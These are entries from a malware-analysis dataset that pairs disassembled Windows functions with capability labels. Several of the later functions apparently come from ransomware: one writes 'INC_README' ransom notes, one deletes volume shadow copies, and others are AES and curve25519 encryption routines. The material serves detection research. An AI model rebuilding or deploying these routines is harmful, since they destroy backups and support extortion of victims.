joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a918
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00405354
xor eax, eax
push ebp
push 0x46aa75
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 8]
call fcn.00405364
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x46aa57
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x28], 0x400
mov eax, dword [ebp - 0x28]
call fcn.0040317c
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x46aa46
mov dword [ebp - 0x28], 0x400
cmp byte [ebp + 8], 0
je 0x46a9c5
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.advapi32.dll_RegEnumKeyExA
mov dword [ebp - 0x18], eax
jmp 0x46a9e5
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.advapi32.dll_RegEnumValueA
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x46aa3c
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
call fcn.004055f4
mov eax, dword [ebp - 0x14]
inc eax
push eax
mov eax, dword [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x4072c4]
call fcn.004064e8
add esp, 4
lea eax, [ebp - 0x1c]
call fcn.004053c4
mov edx, eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.004033dc
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
lea eax, [eax + edx*4]
mov edx, dword [ebp - 0x1c]
call fcn.00404f28
inc dword [ebp - 0x14]
cmp dword [ebp - 0x18], 0
je 0x46a996
mov eax, dword [ebp - 0x24]
call fcn.00403198
mov eax, dword [ebp - 0x20]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46aa7c
lea eax, [ebp - 0x1c]
call fcn.00404ed4
lea eax, [ebp - 8]
call fcn.00404ed4
ret
Function at 0x48c7b0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov ebx, eax
lea eax, [ebp - 0xc]
mov edx, dword [0x414260]
call fcn.004059a4
xor eax, eax
push ebp
push 0x48c951
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4d3aa0], 0
jne 0x48c80b
mov ecx, dword [0x4d4cf8]
mov dl, 1
mov eax, dword [0x40aa8c]
call fcn.00411404
call fcn.00404868
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x10
call fcn.004038f0
mov eax, ebx
call fcn.004057f4
mov dword [ebp - 0x24], eax
mov esi, 0x48c960
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x38]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
call fcn.00406bd8
xor eax, eax
mov dword [ebp - 4], eax
mov eax, ebx
call fcn.00405804
test eax, eax
jle 0x48c8f4
mov dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
je 0x48c8e0
lea eax, [ebp - 0x4c]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00405144
mov edi, dword [ebp - 0x4c]
test edi, edi
je 0x48c886
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.0040515c
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x48c89c
sub esi, 4
mov esi, dword [esi]
push esi
lea eax, [ebp - 0x54]
mov edx, ebx
call fcn.0040515c
mov eax, dword [ebp - 0x54]
call fcn.00405364
push eax
push edi
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00405144
mov eax, dword [ebp - 0x58]
call fcn.00405364
push eax
push 1
push 0x400
call sub.KERNEL32.DLL_CompareStringA
sub eax, 2
test eax, eax
sete al
jmp 0x48c8e2
xor eax, eax
test al, al
je 0x48c8ed
mov ebx, 0x15
jmp 0x48c8f9
mov ebx, 0x10
jmp 0x48c8f9
mov ebx, 0x15
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
push ebx
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [0x4d3aa0]
call fcn.0048c630
mov eax, dword [ebp - 4]
call fcn.0048c630
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00406bf0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c958
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00404ef8
lea eax, [ebp - 0xc]
mov edx, dword [0x414260]
call fcn.00405a74
ret
Function at 0x490108
Capabilities:
Hide graphical window

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
mov eax, ebx
call fcn.0048fb68
test byte [ebx + 0x285], 4
jne 0x49019d
mov edx, esp
mov eax, ebx
call fcn.00449090
push esp
mov eax, ebx
call fcn.004515c8
push eax
push 0
mov eax, ebx
test eax, eax
je 0x49013d
sub eax, 0xfffffd34
push eax
push 0
push 0xfffffffffffffffb
mov eax, dword [ebx + 0x260]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
cmp dword [ebx + 0x274], 0
jne 0x49016e
mov ecx, dword [0x4d4f20]
mov dl, 1
mov eax, dword [0x48c2ec]
call fcn.00411404
call fcn.00404868
mov eax, ebx
call fcn.004906e0
cmp byte [ebx + 0x57], 0
jne 0x4901a4
mov eax, ebx
call fcn.004517d8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4901a4
push 0
mov eax, ebx
call fcn.004517d8
push eax
call sub.user32.dll_ShowWindow
jmp 0x4901a4
mov eax, ebx
call fcn.0044d9c4
add esp, 0x10
pop ebx
ret

Function at 0x494704
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x494773
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetWindowTextLengthA
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
inc edx
lea eax, [ebp - 0xc]
call fcn.004055f4
mov eax, dword [ebp - 0x10]
inc eax
push eax
mov eax, dword [ebp - 0xc]
call fcn.00405364
push eax
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetWindowTextA
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00404f28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49477a
lea eax, [ebp - 0xc]
call fcn.00404ed4
ret

Function at 0x498ed4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
push 0x40
push 0x1000
push pe_nt_image_headers32
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x498f5e
xor edx, edx
push ebp
push 0x498f3f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov dword [eax], 0x448b5050
mov dword [eax + 4], 0x44890824
mov dword [eax + 8], 0x58b0424
lea edx, [ebx + 4]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], 0x8244489
mov dword [eax + 0x14], 0x25ff9058
mov dword [eax + 0x18], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498f5e
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4ad7b8
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
mov byte [ebp - 1], 0
mov dword [ebp - 8], 0x14
mov dword [ebp - 0x20], 0x14
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x38], 2
mov eax, 0x4ad884
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 3
mov eax, 0x4ad888
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 1
push 0x4ad884
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4ad87b
xor eax, eax
push ebp
push 0x4ad874
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x4b
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetSetOptionA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ad87b
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x4ada9c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4adcb5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 0x105
mov eax, dword [ebp - 0x18]
call fcn.0040317c
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4adb19
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
test eax, eax
je 0x4adb03
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 8]
call fcn.004050cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4adb20
mov eax, dword [ebp - 8]
call fcn.00403198
ret

Function at 0x4aefd0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov bl, 2
lea eax, [ebp - 0xa]
xor ecx, ecx
mov edx, 0xa
call fcn.004038f0
push 0xa
lea eax, [ebp - 0xa]
push eax
push 0xd
push 0x400
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
je 0x4af00a
cmp byte [ebp - 0xa], 0x31
jne 0x4af008
mov bl, 1
jmp 0x4af00a
xor ebx, ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b064c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.00451b78
test al, al
je 0x4b0705
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.KERNEL32.DLL_GetTickCount
mov dword [ebp - 8], eax
jmp 0x4b06e3
cmp word [esi + 0x642], 0
je 0x4b069d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x644]
call dword [esi + 0x640]
cmp byte [ebp - 9], 0
jne 0x4b06ba
cmp dword [ebp - 4], 0
jbe 0x4b06b6
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x4b06ba
xor ebx, ebx
jmp 0x4b06bc
mov bl, 1
test bl, bl
jne 0x4b0705
mov eax, dword [0x4d5070]
mov eax, dword [eax]
cmp byte [eax + 0xa4], 0
jne 0x4b0705
mov eax, dword [0x4d5070]
mov eax, dword [eax]
call fcn.00468310
push 1
call sub.KERNEL32.DLL_Sleep_2
test esi, esi
je 0x4b0705
cmp byte [esi + 0x5ec], 0
jne 0x4b0705
mov edx, 0xfffffdf3
mov eax, esi
call fcn.00490518
cmp eax, 4
jne 0x4b067a
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4b70ac
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
test eax, eax
jle 0x4b7104
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 1
mov al, byte [ebp - 0x14]
and al, 0xff
mov edx, dword [ebp - 0x1c]
xor al, byte [edx]
and eax, 0xff
mov eax, dword [eax*4 + 0x4d4694]
mov edx, dword [ebp - 0x14]
shr edx, 8
xor eax, edx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x1c]
inc dword [ebp - 0x18]
dec dword [ebp - 0x20]
jne 0x4b70d8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4c7568
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x170]
mov ecx, 0x58
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00405354
lea eax, [ebp - 0x170]
mov edx, dword [0x40aa6c]
call fcn.00405bb8
xor eax, eax
push ebp
push 0x4c769a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x15c]
call fcn.00404f28
mov eax, dword [ebp + 8]
add eax, 4
mov edx, dword [ebp - 8]
call fcn.00404f28
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x160]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x168]
mov dword [eax + 0xc], edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14c]
push eax
call sub.KERNEL32.DLL_FileTimeToLocalFileTime
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_FileTimeToSystemTime
mov eax, dword [ebp + 8]
lea edi, [eax + 0x10]
lea esi, [ebp - 0x180]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x144]
push eax
call sub.KERNEL32.DLL_FileTimeToLocalFileTime
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_FileTimeToSystemTime
mov eax, dword [ebp + 8]
lea edi, [eax + 0x20]
lea esi, [ebp - 0x180]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x13c]
push eax
call sub.KERNEL32.DLL_FileTimeToLocalFileTime
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_FileTimeToSystemTime
mov eax, dword [ebp + 8]
lea edi, [eax + 0x30]
lea esi, [ebp - 0x180]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c76a1
lea eax, [ebp - 0x170]
mov edx, dword [0x40aa6c]
call fcn.00405a74
lea eax, [ebp - 8]
call fcn.00404ed4
ret
Function at 0x401000
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [edx]
push ebx
push esi
mov esi, ecx
mov ebx, 4
mov byte [esi], al
movzx eax, byte [edx + 1]
mov byte [esi + 1], al
movzx eax, byte [edx + 2]
mov byte [esi + 2], al
movzx eax, byte [edx + 3]
mov byte [esi + 3], al
movzx eax, byte [edx + 4]
mov byte [esi + 4], al
movzx eax, byte [edx + 5]
mov byte [esi + 5], al
movzx eax, byte [edx + 6]
mov byte [esi + 6], al
movzx eax, byte [edx + 7]
mov byte [esi + 7], al
movzx eax, byte [edx + 8]
mov byte [esi + 8], al
movzx eax, byte [edx + 9]
mov byte [esi + 9], al
movzx eax, byte [edx + 0xa]
mov byte [esi + 0xa], al
movzx eax, byte [edx + 0xb]
mov byte [esi + 0xb], al
movzx eax, byte [edx + 0xc]
mov byte [esi + 0xc], al
lea eax, [esi + 0xd]
mov cl, byte [edx + 0xd]
mov byte [eax], cl
mov cl, byte [edx + 0xe]
mov byte [esi + 0xe], cl
mov cl, byte [edx + 0xf]
mov byte [esi + 0xf], cl
nop word [eax + eax]
mov cl, byte [eax]
mov dl, byte [eax + 1]
mov ch, byte [eax + 2]
mov dh, byte [eax - 1]
mov byte [ebp - 3], cl
mov byte [ebp - 1], dl
mov byte [ebp - 2], ch
test bl, 3
jne 0x4010db
movzx ecx, cl
mov dl, dh
mov dh, byte [ecx + str.cw]
movzx ecx, byte [ebp - 1]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 3], cl
movzx ecx, byte [ebp - 2]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 1], cl
movzx ecx, dl
mov dl, byte [ebp - 1]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 2], cl
mov ecx, ebx
shr ecx, 2
xor dh, byte [ecx + 0x41f998]
mov ch, byte [ebp - 2]
mov cl, byte [eax - 0xd]
inc ebx
xor cl, dh
mov byte [eax + 3], cl
mov cl, byte [eax - 0xc]
xor cl, byte [ebp - 3]
mov byte [eax + 4], cl
mov cl, byte [eax - 0xb]
xor cl, dl
mov byte [eax + 5], cl
mov cl, byte [eax - 0xa]
xor cl, ch
mov byte [eax + 6], cl
add eax, 4
cmp ebx, 0x2c
jb 0x401080
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ecx + 2]
mov esi, 4
nop
mov dl, byte [eax + 1]
lea eax, [eax + 4]
mov bh, byte [eax - 4]
mov dh, dl
mov cl, byte [eax - 6]
xor dh, bh
mov bl, byte [eax - 5]
mov byte [ebp - 2], cl
mov byte [ebp - 3], dl
mov dl, dh
xor dl, cl
xor dl, bl
mov byte [ebp - 1], dl
mov dl, cl
xor dl, bl
mov cl, dl
add dl, dl
shr cl, 7
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dl
mov dl, bl
xor cl, byte [ebp - 2]
xor dl, bh
xor cl, byte [ebp - 1]
mov byte [eax - 6], cl
mov cl, dl
shr cl, 7
add dl, dl
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dl
mov dl, byte [ebp - 3]
xor cl, bl
xor dl, byte [ebp - 2]
mov bl, byte [ebp - 1]
xor cl, bl
mov byte [eax - 5], cl
mov cl, dh
shr cl, 7
add dh, dh
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dh
xor cl, bh
xor cl, bl
mov byte [eax - 4], cl
mov cl, dl
shr cl, 7
add dl, dl
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dl
xor cl, byte [ebp - 3]
xor cl, bl
mov byte [eax - 3], cl
sub esi, 1
jne 0x401120
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4011c0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, edx
mov edi, ecx
mov dword [ebp - 8], eax
sub edx, edi
mov esi, edi
mov ebx, 4
nop dword [eax]
mov ecx, 4
mov al, byte [edx + esi]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x4011e5
sub ebx, 1
jne 0x4011e0
mov byte [ebp - 1], 1
nop dword [eax]
mov esi, edi
mov ebx, 4
nop word [eax + eax]
mov ecx, esi
mov edx, 4
nop word [eax + eax]
movzx eax, byte [ecx]
lea ecx, [ecx + 4]
mov al, byte [eax + str.cw]
mov byte [ecx - 4], al
sub edx, 1
jne 0x401220
inc esi
sub ebx, 1
jne 0x401210
cmp byte [ebp - 1], 0xa
movzx eax, byte [edi + 5]
mov cl, byte [edi + 1]
mov byte [edi + 1], al
movzx eax, byte [edi + 9]
mov byte [edi + 5], al
movzx eax, byte [edi + 0xd]
mov byte [edi + 9], al
movzx eax, byte [edi + 0xa]
mov byte [edi + 0xd], cl
mov cl, byte [edi + 2]
mov byte [edi + 2], al
movzx eax, byte [edi + 0xe]
mov byte [edi + 0xa], cl
mov cl, byte [edi + 6]
mov byte [edi + 6], al
movzx eax, byte [edi + 0xf]
mov byte [edi + 0xe], cl
mov cl, byte [edi + 3]
mov byte [edi + 3], al
movzx eax, byte [edi + 0xb]
mov byte [edi + 0xf], al
movzx eax, byte [edi + 7]
mov byte [edi + 0xb], al
mov byte [edi + 7], cl
je 0x4012cf
mov ecx, edi
call fcn.00401110
mov ch, byte [ebp - 1]
mov eax, edi
movzx edx, ch
mov ebx, 4
shl edx, 4
add edx, dword [ebp - 8]
nop word [eax + eax]
mov esi, 4
mov cl, byte [edx]
inc edx
xor byte [eax], cl
inc eax
sub esi, 1
jne 0x4012b5
sub ebx, 1
jne 0x4012b0
inc ch
mov byte [ebp - 1], ch
jmp 0x401200
mov ecx, dword [ebp - 8]
mov esi, 4
add ecx, 0xa0
nop dword [eax]
mov edx, 4
mov al, byte [ecx]
inc ecx
xor byte [edi], al
inc edi
sub edx, 1
jne 0x4012e5
sub esi, 1
jne 0x4012e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4046f0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c0
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0x20
push edx
lea eax, [ebp - 0x28]
mov esi, ecx
push eax
call fcn.00418e60
mov al, byte [ebp - 9]
lea ecx, [ebp - 0x16c]
mov edx, dword [ebp + 8]
and al, 0x3f
and byte [ebp - 0x28], 0xf8
add esp, 0xc
or al, 0x40
mov byte [ebp - 9], al
call fcn.00402030
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x1bc]
call fcn.00402f30
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x16c]
call fcn.004032b0
lea eax, [ebp - 0x16c]
push eax
lea edx, [ebp - 0x1bc]
lea ecx, [ebp - 0x11c]
call fcn.00401500
add esp, 0xc
lea ecx, [ebp - 0x11c]
call fcn.004019d0
lea ecx, [ebp - 0x11c]
call fcn.00401b80
movups xmm0, xmmword [ebp - 0x11c]
lea edx, [ebp - 0x84]
mov ecx, esi
movups xmmword [ebp - 0x84], xmm0
movups xmm0, xmmword [ebp - 0x10c]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [ebp - 0xfc]
movups xmmword [ebp - 0x64], xmm0
movups xmm0, xmmword [ebp - 0xec]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [ebp - 0xdc]
movups xmmword [ebp - 0x44], xmm0
call fcn.00402330
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0040822b
mov esp, ebp
pop ebp
ret
Function at 0x404840
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
push 0x8000
mov dword [ebp - 8], ebx
call fcn.0040c23e
add esp, 4
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.INC_README
push esi
call edi
push 0x41f9bc
push esi
call edi
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4048d4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push dword [0x4241fc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [0x4241fc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
jmp 0x4048da
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.INC_README
push esi
call edi
push str..txt
push esi
call edi
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40493b
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [0x42426c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [0x42426c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call ebx
push esi
call fcn.0040c239
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040822b
mov esp, ebp
pop ebp
ret
Function at 0x404c60
Capabilities:
Resize volume shadow copy storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
push edi
push 0
push 0x80
push 3
push 0
push 3
xorps xmm0, xmm0
mov dword [esp + 0x40], 0x5c005c
push 0x12019f
lea eax, [esp + 0x44]
mov dword [esp + 0x48], 0x5c002e
mov si, cx
mov dword [esp + 0x4e], 0x3a
push eax
mov word [esp + 0x50], si
movlpd qword [esp + 0x2c], xmm0
movlpd qword [esp + 0x34], xmm0
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404d0f
cmp dword [0x424268], 0
je 0x404d75
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
movzx eax, si
push eax
push str.____Couldnt_delete_shadow_copies_from__c:__Error:__d_n
call fcn.00404800
add esp, 0xc
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.0040822b
mov esp, ebp
pop ebp
ret
push 0
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x18
lea eax, [esp + 0x24]
push eax
push 0x53c028
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x404d4d
cmp dword [0x424268], 0
je 0x404d6e
movzx eax, si
push eax
push str.___Successfully_delete_shadow_copies_from__c:___n
call fcn.00404800
add esp, 8
jmp 0x404d6e
cmp dword [0x424268], 0
je 0x404d6e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
movzx eax, si
push eax
push str.____Couldnt_delete_shadow_copies_from__c:__Error:__d_n
call fcn.00404800
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.0040822b
mov esp, ebp
pop ebp
ret